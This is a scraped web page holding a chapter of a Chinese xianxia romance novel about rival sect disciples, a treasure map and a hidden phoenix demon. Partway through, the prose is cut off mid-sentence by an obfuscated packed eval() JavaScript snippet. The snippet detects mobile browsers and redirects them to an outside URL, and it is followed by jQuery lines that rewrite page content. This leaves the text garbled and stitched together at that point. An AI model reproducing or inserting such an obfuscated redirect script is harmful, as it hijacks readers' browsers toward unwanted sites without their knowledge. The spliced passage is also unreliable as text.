默认冷灰
24号文字
方正启体

32. 用完就丢

作者:四月知暖本书字数:K更新时间:
    洞穴中,陆沉星和白清清两人靠在大石块旁,已经苦等了很久。


    白清清一颗心越来越沉,一想到,两人背着她去私会,她还要装作不知道,甚至,等两人回来,还要扬起笑脸去迎接两人,她就恨得要死。


    恨不得现在就冲出去将那个勾引宁师兄的女修杀了。


    偏陆沉星这个蠢货,天真的以为两人真是去处理私仇了,在她旁边不停地碎碎念,“白仙子,你说大师姐不会和宁道友打起来吧?”


    “我要不要过去帮忙?可我答应在宁道友在秘境之中保护他,他和大师姐打起来,我不太好帮忙吧?”


    “可大师姐万一打不过他怎么办?身为剑宗弟子,怎能眼睁睁看着大师姐被死对头欺负?同门不相帮,反而视而不见?大师姐回去了会将我逐出师门吧?”


    “也不知道他们怎么样了?”


    想到担忧之处,他站起身冲向洞口,在洞口又止步,反反复复,踌躇不前。


    白清清闭上眼睛,心中暴戾地想干脆直接杀了这个蠢货,可又不知道两人何时回来,万一正巧撞到,她怕是不好摆脱干系,只能强忍着,时不时回他一句,“不会。”


    夜色渐深,整个秘境陷入黑暗中。


    风越刮越大,狂风呼啸,树影摇曳,如群魔乱舞,潜藏着巨大的危险。


    两人都不敢出去,只能在洞穴中焦急的等待。


    后半夜,风渐渐小了,直至完全停止,外边只剩一片寂静,针落可闻。


    天蒙蒙亮时,两人身上沾着晨露,终于回来了。


    陆沉星激动地迎上去,“大师姐,你回来了。”


    明姝木着脸地点了点头,并未开口说话。


    陆沉星并未发觉异常,他绕着明姝上下打量了两圈,发觉她除了衣着略有凌乱,面色异常红润之外,并没有受伤。


    松了口气之余,不禁暗叹,昨晚大师姐肯定和宁道友动手了,两人意见不合,互不退让,只能以武力争胜负,大师姐为了剑宗,奋力反抗,使尽浑身所学,和宁道友打了个平手。


    今日才会这般狼狈。


    当即抓住明姝的袖子,激动地热泪盈眶,“大师姐,你昨晚辛苦了。”


    若没有昨晚的事,往常弟子们这么说,她只以为是担心她,但有了昨晚的事,她也确实有点辛苦,不受控制地想歪了。


    好在她脸皮厚,木着脸,没有丝毫异样,点点头,表示知道了。


    宁灼淡定不了,他瞬间有种被看透的感觉,惊地倒退几步,一时震惊、羞愧、不可置信,各种情绪涌上心头。


    想他和明姝恶劣的关系,整个修真界皆知,两人向来势不两立,现在竟然有人知道他们搞一起了,以前不和闹出的那些事仿佛是笑话,装模装作,要把他的脸打肿了。


    想辩驳说是意外,但一次是意外,两次……


    辨无可辨,羞恼化为怒意,下意识便想威胁,让陆沉星隐瞒。


    明姝侧头看来,眸光流转之间,犹带潋滟艳色,眼神却没了情浓时的柔媚,锐利满含警告,这还不够,似乎怕他没看懂,竟将他向白清清那边推去,刻意压低声音。


    “想必白仙子等你已久,月霜仙子做客丹宗,你该去安抚安抚白仙子,方为待客之道。”


    宁灼心中升起股难以言喻的心酸来,虽说他也不想让别人知道两人之间的荒唐事,但总有种用完就被丢的感觉。


    明姝将人推远,未免他不打自招,带着陆沉星到了山洞最里面的角落。


    陆沉星殷勤地拨开碎石,挖掉缝隙里的苔藓,整理出一片干净的地方,正想让明姝坐下休息,眼神瞥过去,顿觉一身白衣、美若天仙的她,与昏暗的山洞格格不入。


    犹豫片刻,低头翻找储物袋,并没有发现可以垫坐的东西,毫不犹豫将自己带的备用弟子服拿出来,铺在地上,仰头双眼发亮看着明姝。


    “大师姐,秘境环境恶劣,只能委屈你先……”


    明姝皱了皱眉,打断他,“不必。”


    “剑宗汇天下剑法于大成,繁琐难修,剑宗弟子无不修炼刻苦,外出历练时,更是以天为被,以地为席,从不讲究这些。”


    她的声音坚定、清冷,如玉石碰撞声般悦耳动听,可听了千万遍的陆沉星一下便听出了不同,带了哑音,声线低下去,尾音仿佛带着小钩子,挠的人心痒痒。


    陆沉星微愣了下,不太明白,大师姐出去和宁道友解决私仇,疲惫狼狈便罢了,为什么连声音也变了。


    明姝这时反应回来,惊觉自己开口说了话,张了张嘴想解释什么,却更像是欲盖弥彰,遂闭紧了嘴,不在说什么。


    陆沉星敏锐地察觉到大师姐有事瞒着自己,想开口问,又意识到这是大师姐的私事,他根本没有资格过问,心中有些难过,很快又振作起来。


    “大师姐,你和宁道友的私仇,都是因剑宗而起,你昨日和宁道友较量,是为了宗门,现在你灵力耗尽……“


    说完,上下打量她,发现她面色异常红润,衬得妖艳的五官近乎妖异,非但没有半分疲态,眉间灵光溢出,周身灵气充裕,隐隐有突破的先兆。


    明明进秘境前,大师姐才刚刚突破,修为越高越难进阶,有些修士甚至终身停滞在高阶,而大师姐进入秘境仅仅半天,就又要突破了,难道是大师姐运气绝佳,刚入秘境就寻到了机遇?


    陆沉星纳闷,便也只以为是明姝运气好,并未多想,立刻改口道,“大师姐,灵山秘境机遇难得,得到了要好好参悟。”


    “之前你孤身一人,怕有危险,不敢打坐参悟,现在我们汇合了,你可以放下心,安心参悟了。”


    “我帮你守着,大师姐你放心,只要有我在,保证没人能进你一丈之内。”


    他把胸口拍的砰砰砰响。


    明姝语塞了,不知道说什么好,她确实灵力充沛,不过不是得到了什么机遇,而是shuang修的结果。


    宁灼是个chu,她因此获益较多,直接升了一阶,急急赶回来,没来及吸收多余的灵力,这才露出了破绽。


    当然,她也是第一次shuang修,说来,宁灼不说直接突破,至少修为该有所精进才对,余光刮了他几下,发现他除了脸上仍有部分余韵,除此之外,并没有其他变化了。


    非常不科学。


    明姝很困惑。


    回想第二次时,她强行保持着最后一丝神智,没有完全沉溺其中,半梦半醒之间,耳后有羽毛状的东西瘙nong,痒痒的,仿佛情人间的爱抚。


    没等她细究,便没了思考的闲暇。


    现在想想,死对头肯定是故意的,他身上绝对有秘密。


    这人神秘的很,现在的不科学就很科学了。


    回过神,对上陆沉星满含期待的目光,她无情地别过头,在他衣服铺好的位置旁边坐下了。


    陆沉星是宗内天赋极高的弟子,心思纯净,专注剑道,假以时日,必是修真界的后起之秀,而不久前他刚打败众多弟子,成为剑宗首席弟子,和她同地位的剑宗大师兄。


    最重要的是,这可是苦力候选人呀,等她慢慢将剑宗事务丢给她,总有一日,她能完全脱身,呼吸自由的空气。


    绝对不能耽误他。


    陆沉星失落地收起弟子服,犹豫片刻,选了一尺的距离,小心坐下了。


    觑她神色,见她开始闭目打坐,立刻绷起脸,警惕注视四周,立志不让一只飞虫靠近她。


    这边,宁灼被白清清缠的烦不胜烦。


    一晚未见,白清清脸皮更厚了,哪怕他不给半点面子,冷脸斥责,她却好像瞎了聋了一样,仍笑盈盈地靠近。


    次数多了,宁灼便也懒得费工夫赶人了,偷偷去看眼明姝,余光瞥见她和陆沉星靠的很近,两人同宗师姐弟之间亲亲蜜蜜坐在一起修炼,这一幕莫名的刺眼,说不上是什么心理,等白清清又暗搓搓地贴过来时,他闭眼靠在墙上,并未再出声驱赶。


    白清清轻轻靠在他旁边的墙上,垂落的衣摆交叠,近到她能清楚看到他轻蹙的眉目,眼尾还残留着红,耀眼灼人的面目似乎变了,多了几分靡丽、奢艳,有种说不出的诱人韵味。


    她目光贪恋,一寸寸下移,领口繁琐贵重的暗纹光华流转,金线向下延伸,白皙的皮肤上有细微红痕,被纯黑的颜色遮掩,极不显眼。


    却让白晶晶变了脸色。


    她裙下男修无数,早就不是不知人事的清纯女修了。


    探起身凑近,正要细看,交叠在黑袍上的一抹白色裙角,凭空自燃起来,火焰快速蔓延,在白黑交界处时戛然而熄,不多不少,正好将那多出的一片裙角燃干净。


    黑白之间,泾渭分明。


    她不甘心,伸出手企图去打破壁垒。


    瞳孔中倒映出半透明的结界,于此同时,指尖传来一股钻心的剧痛,结界迸出零碎的火星。


    那突然出现的结界笼罩宁灼周身,不留一丝空隙。


    他安然闭着眼睛,没有任何变化,与世无争,仿佛这一切都与他无关。


    白清清心中忌惮极了,想到他的真实身份,慌忙坐回原地,不敢再逾越一步。


    一整天相安无事。


    -


    秘境仅开放半个月,四人已经在山洞里浪费了一天时间,这一天,别宗弟子可能取得了莫大的机缘,修为飙升,也可能得到先人遗留下来的法宝,战力增强,在同辈修士中战无不胜。


    他们已经落后许久,不能再被其他人抢占先机了。


    四人结成暂时的同盟,聚在山洞口,商量下一步的打算。


    说是商量,但其他三人站着,满脸漠然,一点都没有要开口的意思。


    白清清咬咬牙,从储物袋中取出一张泛黄的兽卷,故意放慢了动作,慢慢地解开系绳打开。


    等了片刻,不仅没有人问起,宁灼脸上甚至生出了不耐烦,明姝和陆沉星更是准备离开。


    眼看四人队伍要散了。


    队伍散了,依着之前宁灼对她的厌恶来看,他绝对会毫不犹豫地甩开她,她再没有理由跟着他了。


    所以,这队伍决不能散。


    无奈,白清清只得率先对三人道,“我这里有份秘境的地图,上面标记了几个有宝物的地方,不如我们先按照地图走,去寻宝?”


    说完,视线转向宁灼,不自觉露出娇态,满眼希翼,仿佛等待心上人回应的小姑娘。


    宁灼半点没接收到她的柔情,目光看向明姝。


    明姝则好奇盯着白清清手上的兽卷,忍不住凑近了看。


    “白仙子从何处得到的地图?保真吗?”


    心中纳闷,为何她不知道灵山秘境竟还有地图,微微歪头向身侧的陆沉星投去疑惑的眼神,却对上他闪烁的目光。


    他神情略带羞窘,并未回答,反而频频望向白清清,等着她的回答。


    白清清心中鄙夷。


    早就听说剑宗穷,没想到不仅穷,还没见识。


    瞧这剑宗女修一副没见过世面的样子,她不自觉挺直了脊背,微扬下巴,得意极了。


    “当然是花重金在珍宝阁买的。”


    “珍宝阁售卖秘境地图之事,修真界人尽皆知,当然光知道没灵石也无济于事,秘境地图这种东西,但凡要进入秘境的修士都想要,毕竟有了地图,不仅知道宝物所在,还能避免闯入极危险之地,保住性命。”


    明姝当即明白了陆沉星为何不解释。


    总不能说,剑宗穷的太出名,根本没灵石买这种东西,所以没人会告诉他们这种消息,当然,有弟子听说了这种消息,也不会互传,导致他们剑宗消息闭塞,根本不知道还有地图这种东西存在。


    明姝瞥向宁灼,“你的地图呢?”


    死对头富得流油,买地图那点灵石对他来说就是九牛一毛,没道理省那点灵石不买地图。


    她计划的很好,两份地图,四个人,她和陆沉星一份,宁灼和白清清一份,万一路途中几人失散,就按照地图的路线,提前定好地点,到时在定好的地点汇合。


    最重要的是,他们能白嫖地图。


    至于宁灼愿不愿意和白清清一组,就不是她该思考的问题了,反正她知道,白清清肯定很愿意,等她交出地图,剩下的就和她们没关系了。


    万事俱备,只等宁灼点头了。


    可谁知,宁灼毫无动作,他双臂环胸,单腿屈起,懒散地靠在石壁上,斜眼瞥过来时,尽是倨傲和自信。


    “没有。”


    “我不需要那种地图。”


    明姝瞬间拧死了眉,震惊之后,只剩无语。


    很想抓着他的肩膀使劲摇晃,将他脑袋中的水晃出去,然后大声告诉他,灵山秘境危机四伏,九死一生,曾经开启进入的修士一个没出来,全部死在里面。


    但两人关系还没好到,能互相关心对方安危的程度。


    她只得打消了白嫖地图的心思。


    自然伸出葱白的手指,两指捻着兽卷,将兽卷卷曲的边角摊平,地图中秘境的面貌全部显现出来。


    灵山秘境东方是漫漫无边沙漠,西方是茂密不见天日的密林,南方是一望无垠的深海,而北方,则是连绵无尽头的山脉。


    四人此刻正处于三界起点,地图上向东荒漠中有一处标记。


    明姝指向那处标记,正要开口,地图对侧突然出现一股力,卷曲的兽卷边角从指缝尖溜走,只余僵在半空的手。


    明姝看了看空荡荡的掌心,收回手,并没有说什么。


    白清清拿回自己的地图,也不知是不是故意,在明姝面前晃了晃,弯唇笑着道,“地图是我花了几万灵石买的,很珍贵,还是由我向大家介绍。”


    话外之意,这是我的地图,有些人不要厚颜无耻地喧宾夺主,拿我当垫脚石。


    定定盯着明姝,指谁不言而喻。


    明姝木着脸,直接退后,站到了陆沉星身边。


    陆沉星打圆场解释,“大师姐是我们宗门的主心骨,习惯了为众弟子布置好一切……”


    “别忘了,这里是灵山秘境,不是剑宗。”


    宁灼出声打断,他耐心到了极限。


    他实在不懂,地图有了,也决定要去寻宝,就一个寻宝地点的事,他们怎么就能这么拖拖拉拉。


    他的话,却让白清清陡然大喜,他为自己说话,他是站在她这边的,他在她和剑宗女修中选了她。


    在和那剑宗女修有过亲密关系的情况下,他选择了她。


    这一刻,白清清笃定,他心中肯定有她。


    她愈发欣喜,举着地图向宁灼走去。


    他好似全然没注意到她,闭了闭眼,身上气势有瞬间的变化,猛然睁眼,抬臂长指指向东方,“去那里,那里有宝物。”


    明姝顺着他指的方向看去,正是东方漫漫无边荒漠,刚刚看过地图,那里正是地图上最近的标记点。


    遂点了点头,率先离开,陆沉星跟上。


    两道流光自两人体内中飞出,化为长剑悬在半空,肃杀森冷之气,让周遭温度倏然下降。


    两人站在飞剑上,居高临下地俯视地面的宁灼和白清清。


    “两位,目的地已定,我们先行一步,咱们荒漠见。”


    话音落下,飞剑升入高空,如流光疾驰消失在天际。


    地面,宁灼准备离开,站直身体,环胸的手臂放下时,掌心悬着一艘小巧的飞舟,散发着淡淡的灵光,细看能发现,这并不是来时载白清清和陆沉星那艘,这艘更精致豪华,船身浮雕栩栩如生,宽敞的夹板上隐约可见备好的瓜果甜酿。


    乘坐它,便能躺在软椅中,欣赏天空云卷云舒,悠闲品着上好仙酿,不耽搁赶路。


    白清清感动地双目含泪。


    宁师兄担心她赶路累到,竟特意换掉了来时那艘简陋的飞舟,如此体贴爱护,从未有哪个男修能为她做到如此地步。


    她擦了擦眼角的泪渍,迈着优雅的莲步款款上前,欲言又止,酝酿着该如何告诉他,她不是贪图享乐的人,只要他……


    到此,戛然而止。


    宁灼大手一转,将那艘豪华的飞舟抛进了储物袋中,转而拿出一瓶丹药来。


    打开药瓶,倒出一颗火红的药丸,放进口中,喉结滚动,那药丸瞬间融入四肢百骸,仿佛解除了无形的封印。


    他漆黑的眸渐渐染上红,幽深、浓烈,两种颜色间杂,身上缓缓溢出妖气,妖气聚在身后,勾勒出巨大的翅膀轮廓,逐渐覆上根根赤红长羽,凝实,显现。


    颜色略有些黯淡,不如太阳耀眼,但已足够华丽、漂亮,让世间所有东西都黯然失色。


    白清清注视着他身后的翅膀,痴迷又专注。


    宁灼很满意她的表现,炫耀般地扇动下翅膀,带出巨大的风流,吹得白清清一个激灵清醒了,震惊指着翅膀,下意识道,“你是鸟妖?”


    你是鸟妖,而不是你是妖,一字之差,昭显着截然不同的意思。


    宁灼并没有意识到,他凤眸微眯,理所应当道,“当然不是。”


    “灵山秘境中高阶妖兽横行,族中长老怕我在秘境中遇到高阶妖兽,特意给我炼制了此丹,只要吃下它,在心中默念你想变成妖兽,就能暂时将你变成此妖。”


    “鸟类妖物可飞行,我可不能落后于讨人厌的女修了。”


    说完,他将丹药丢到白清清怀中,扇动翅膀,飞上天空,眨眼间消失不见。


    白清清迷茫地站在原地,一时分不清他话的真假。


    片刻后,她打开瓶子,发现里面只剩最后一颗丹药,迟疑地将丹药放入口中,不禁疑惑,这么珍贵的丹药,被他如此草率的用掉,真的可信吗?


    丹药化为热流融入身体,她赶忙闭上眼睛,在脑海中描绘宁灼的样子,张了张嘴,却发现不知道是什么妖,只能默念鸟妖鸟妖。


    筋脉中涌出妖力,妖力压制灵力,疯狂向脊背冲去,窜动、挣扎着要挣脱束缚,皮肤被拉扯,带来巨大的疼痛感,白清清瘫倒在地,忍不住哀嚎起来。


    热流汇聚到极限,巨大的力量冲出皮肤,她听到翅膀抖动、展开的声音。


    她爬起来,满含期待向自己背后看去。


    她想,如果能拥有像宁师兄那般美丽的翅膀,受点疼也值得。


    待看清身后的翅膀后,只剩失望、愤怒。


    哪有什么漂亮的赤红翅膀,灰扑扑的,绒羽和硬羽胡乱混杂,稀疏,隐约可见里面的发红的肉。


    如此丑陋的东西,怎配她白仙子之名。


    可她根本没问宁灼要解药,筋脉中的灵力全部被妖力压制,就像废了般,根本无法使用。


    没办法,她尝试控制翅膀,向天空飞去。


    她做了几十年的人,出门都是靠飞行法器,第一次做鸟妖,根本驾驭不了翅膀。


    飞离地面,猝然失重,她心中一慌,整个人狼狈摔在地上。


    在尝试过几次,终于能歪歪扭扭地飞起来了,小心控制方向朝荒漠飞去,心中纳闷极了。


    为什么宁师兄飞得那么轻松、灵活?


    难道族中长辈不止一次给他炼制这种丹药,他变成过无数次鸟妖了?


    话说,宁师兄到底是什么妖?妖还能服用丹药变成其他品种的妖?


    不过,她可以确定的是,能和丹宗宗主有交情,让他破例收下宁灼,假借弟子之名隐藏身份在修真界行事,必是妖界大族。


    若能让他臣服于她裙下,她便能横行于两界,到时就算无法在修真界立足,还有妖界这一退路。


    她再也不惧名义上的师尊月霜仙子。


    而且万一她失败,两界关系紧张,将此秘密宣扬开来,丹宗宗主、月霜仙子都逃不过叛族大罪,她名义上的师尊,从人人追捧,到人人唾骂,不知道她能不能承受得住这种落差。


    宁灼飞了会,找了个无人的地方,落下细细打量自己的翅膀。


    之前没注意,现在倒是发现他的翅膀变了,颜色好像亮了些,没有以前那么黯淡,根部稍显短小的硬羽长大了。


    他震惊之后,便是欣喜,干脆变回了原形。


    一只浑身赤红的鸟站在高高岩石上,掀起翅膀,发出小小的声响,鸟喙拨弄身上的羽毛,露出细小的绒毛,头顶冠羽随着动作轻轻晃动,阳光落下,五彩光华流转,炫丽、高贵,仿佛它就是这世间最高的主宰。


    它似是发现了什么,突然仰头清鸣一声,叫声并不嘹亮,却让整个秘境的妖兽感受到了它的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530864|202702||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    喜悦,刹那间,秘境震动,万鸟朝着它的方向高声鸣叫,似在回应,无数妖兽深深伏下身体,臣服。


    宁灼变为人形,激动地恨不得立刻冲到明姝面前,变回原形告诉她,他才不是秃毛鸟,才不是,他只是先天不足,现下已经快长好了。


    奈何他不能暴漏身份,只能暗道一声可惜。


    没关系,不能告诉她,他可以告诉别人。


    他咬破手指,鲜血溢出,挂在指尖摇摇欲坠。


    这是凤族的秘法血引之术,以血脉为引,召血脉至亲之人,此法非常耗精力,不过却是消耗被召之人的精力,是凤族穷途末路之际的求救之法。


    注入妖力,那滴血像受到牵引,轻轻浮在飘向半空,仿佛落入无形的水中,倏然化开,半空出现一方小小的水幕,波纹荡漾泛起涟漪,缓缓显出影像。


    头戴金冠的俊朗男子坐在方桌后,桌前东西纸笔和各种法器堆在一起,身后是汹涌而下的瀑布,水流激荡,哗哗声震耳欲聋。


    男子抬头,露出赤红如琉璃般的眼眸,神情平稳,不见半点惊慌之色,可见早已习惯这种大张旗鼓的召唤。


    声音低沉磁性,丝毫不受瀑布水声影响。


    “小弟,你唤我何事?”


    宁灼瞧他一眼,挥袖转身又变为了原形,口出人言。


    “大哥,多日未见,你看我有没有什么变化?“


    鸟头高昂,故意将身子侧向水幕,姿态一反常态的矜持。


    妖皇宁则御丢了手中的笔,半撑着下颌,果然凑近了细细打量,半晌后,从鼻腔里发出疑问,“长大了?”


    宁灼骄傲地点点鸟头。


    宁则御高兴地一拍桌子,探过身子凑近水幕前,一把鼻涕一把泪地哭诉,“小弟你终于长大了。”


    “想当年你破壳时还没我半个手掌大,老二他们都觉得你活不了,谁知你竟然还挺坚强,在我们几个兄长的照顾下,活了下来,终于让兄长们有脸去父母牌位前祭拜了。”


    “你孱弱、先天不足,兄长们想尽办法寻宝物为你补身体,这么多年,也只让你恢复的七七八八,我于心有愧呀……“


    他哭诉声一断,赤红琉璃眸发亮,满是好奇。


    “你到底碰上什么机遇,竟自己恢复了?“


    机遇……


    最近的机遇……


    貌似就是和讨人厌的女修那一夜了。


    当时他还纳闷,都说shuang修可以提升修为,他境界半点没动,而且据他观察,讨人厌女修的修为可是整整提升了一阶呢,他没动静根本不科学。


    原来在这呢。


    几百年来,他几个兄长为他寻遍三界宝物,也不能完全弥补在壳中的先天不足,和讨人厌女修修了两次,竟然能直接修复他的先天缺陷。


    讨人厌的女修身上到底有什么秘密?


    若是找到这个秘密,说不定他就可以完全恢复,成为正常的凤族。


    他抿唇沉思,并没有回答宁则御的话。


    宁则御身为妖界之皇,坐阵妖界上千年,什么场面没见过,他那点小心思,一眼便发现了。


    他坐回方桌前,长指曲起,轻敲桌面,并未执着追问。


    凤眸微垂,皇者气势尽显,一切尽在帷幄中,“既然你自己已有办法,便不需要几个兄长再为你寻宝物了,我即刻发传音符,召他们回妖界。”


    “你与几个兄长几十年未见,他们十分挂念你,经常传音回来问你的情况,等有空了回来一趟,与他们见见面。”


    至亲相聚,本该是让人迫不及待的事情,宁灼却整个鸟身都僵住,片刻后恢复人形,沉下脸,抬手拂过水镜,水镜消失不见。


    只要没回话,就是没听到,没听到就不必回去。


    抚了抚褶皱的衣服,宁灼心安理得地准备离开了,转身却撞上迎面而来的传音符,上面繁复的纹路妖力流动,组成昂首站立的凤凰,散发出熟悉的妖气。


    他抬脚绕过传音符,并不想理会,没想到传音符好像长了眼睛,转了弯绕到他面前,再次挡住了他的路,凤凰鸟眼中红光闪烁,带着决不罢休的凛然气势。


    宁灼很烦,在这浪费了不少时间,再不去沙漠与讨人厌的女修汇合,她指不定扭头说他遭遇不测,挂了,他可不会天真的认为,讨人厌的女修会愿意耽搁时间,放弃沙漠中的宝物,来寻他。


    为了防止她抛下他,带着那两人走了,他必须要尽快赶到沙漠,顺便绝了讨人厌女修胡乱造谣的可能。


    无视传音符,闭目缓缓释放双翅,舒展张开,飞上天空。


    凤族飞行速度极快,眨眼间已在万米高空,周边是成团簇拥的云朵,穿梭其中,有冰凉的水汽贴在皮肤上,很舒服。


    耳边是呼啸的风声,脸颊边突然被什么东西碰了碰,下意识看去,发现竟是被他忘到脑后的传音符,毫不费力的跟在他身边,看他并没有理的打算,又碰了碰他的脸颊,反复骚扰他。


    宁灼快烦死了。


    不想回去就是不想回去,大哥难道看不出他根本不想见那几个兄长们吗?


    不,他看得出,但就是预料到他不想见,才出此下策,让他不得不回去见。


    传音符绕着他打转,不停地碰一下他,显示自己的存在。


    无奈之下,宁灼只得停下来,打开了传音符。


    里面传来大哥嚷嚷的声音,“小弟,小弟,你听到了吧?你的几个兄长要回来了,他们为你寻药,已经几十年未回妖界了。”


    “他们如此爱你,小弟你忍心不回来见他们一面吗?”


    宁灼脸色黑沉,面无表情,心想,忍心,十分忍心,谁愿意见那几个神经病,脑子不正常,爱做奇葩事就算了,还打着他的名义,害他经常被人找上门来讨说法,可以说,他在修真界的名声这么差,少不了几人的功劳……


    听完,直接将传音符丢掉,没有回复的打算。


    到沙漠边缘时,并没有看到讨人厌的女修和那个剑宗弟子的身影,他竟然是第一个到达的。


    宁灼十分意外。


    抱胸站在原地等,心想,等讨人厌的女修到了,他定要嘲笑她一番,自己在中途和大哥通了话,耽搁了那么长时间,她们竟然比他还慢。


    没多久,远远便看到天际出现两个小黑点,黑点急速靠近。


    明姝和陆沉星一前一后,极近的距离,飞剑划破空气,所过之处,留下长长的拖尾。


    靠近地面时,宁灼认真打量两人。


    陆沉星一身白袍被风吹起,烈烈作响,尽显剑修的飘逸出尘。


    同样都是剑修,哪怕讨人厌的女修长相妖艳浓重,此刻剑气环绕周身,锋锐之气让人不敢生出半点亵渎之心,仿若高高在上的天边月,清冷疏离。


    与周遭漫漫黄沙格格不入,两人站在一起却无比和谐。


    宁灼突然就明白了,为何话本中的风流韵事都发生在剑修身上。


    他仿佛旁观的局外人,出神地看着两人慢下速度,缓缓落于地面,朝他走来。


    一缕酸楚悄悄盘旋在心头,迫使他烦躁、急切地想做点什么,打破刺眼的场景。


    “白仙子人呢?”


    还未行动,耳边突然炸起声音,他整个人一激灵,陡然冷静下来,来不及细究刚刚的情绪,下意识顺着她的话思考,白仙子去哪了。


    对了,白清清呢?


    貌似是他将蕴含妖力的妖丹丢给她,骗她是族内秘药,她现在应该已经半妖化了。


    抬眼对上明姝和陆沉星疑惑的视线,他掩唇轻咳一声,解释道,“不清楚,我先她离开,赶到此处后,并未再见过她,兴许是遇到同门,耽搁了时间。”


    明姝眯眼打量他,很不对劲,死对头向来是眼睛长到头顶上,对白清清没个好脸色,问起她的下落,他应该不耐烦地回一句,关他屁事才对,竟认真回答了,有问题,绝对有问题。


    说不定,白清清没来就是他搞的鬼。


    明姝不禁往坏处想,该不会白清清惹了他,他一个不高兴,就将人灭了吧。


    不排除这种可能。


    后退几步,离他远些,添了几分警惕。


    “白仙子不在,我们没有秘境地图,根本不知道沙漠中的宝物在哪里,如何去寻?”


    原来是这事,宁灼暗自松了口气,姿态随意,抬手指了方向,“宝物在那个方向,至于距离……”


    沉吟片刻,“等撞到守护妖兽,就到了。”


    这不是废话嘛……


    明姝无语。


    地图不仅仅是为了指明方向,更重要的是测算距离,避开沿路的妖兽和陷阱,他倒好,随手一指,就让她们冒着生命危险,去找不知道是否存在的宝物。


    陆沉星也看出了宁灼的不靠谱,拉了拉明姝,低声商量,“大师姐,我们原路返回去寻白仙子吧。”


    明姝点了点头,余光斜了眼宁灼,深觉眼前这局面都是死对头造成的,岂知这耽搁的时间,不知多少弟子先她们一步得到了机缘。


    这片刻的进步,将来可能是夺走她们性命的关键。


    在这秘境之中,时间是至关重要的东西,明姝从来都清楚,但无奈死对头拖后腿。


    心中不爽快,明姝不憋着,直接开口嘲讽。


    “有些人那,一问三不知,毫无用处,只能仗着自己那张脸,招摇撞骗,偏偏招惹了女修,又对人家不屑一顾,虚伪。”


    宁灼眉尾上扬,心想,讨人厌的女修是在说他?


    不错不错,最起码承认他长得不错,他很满意。


    “有些人那,好歹还有张脸,有嚣张傲慢的资本,若不是他仗着他那张脸,招摇骗到女修,某些丑人,哪能沾光,寻到宝物?”


    而且若不是他在,她们能安然无恙站在这里?


    灵山秘境九死一生不是开玩笑,是他在,妖兽不敢靠近,此处才如此安静平和。


    既然讨厌女修如此不识相,那他也不愿出力不讨好了。


    宁灼转过身,暗暗运转妖力抚平筋脉中震荡的血脉力量,漆黑的瞳孔深处燃起火焰,他垂下眸,火焰渐盛,周身散发出的无形威压渐渐消失。


    远处突然传来一声震天的兽吼,大地微微震颤。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)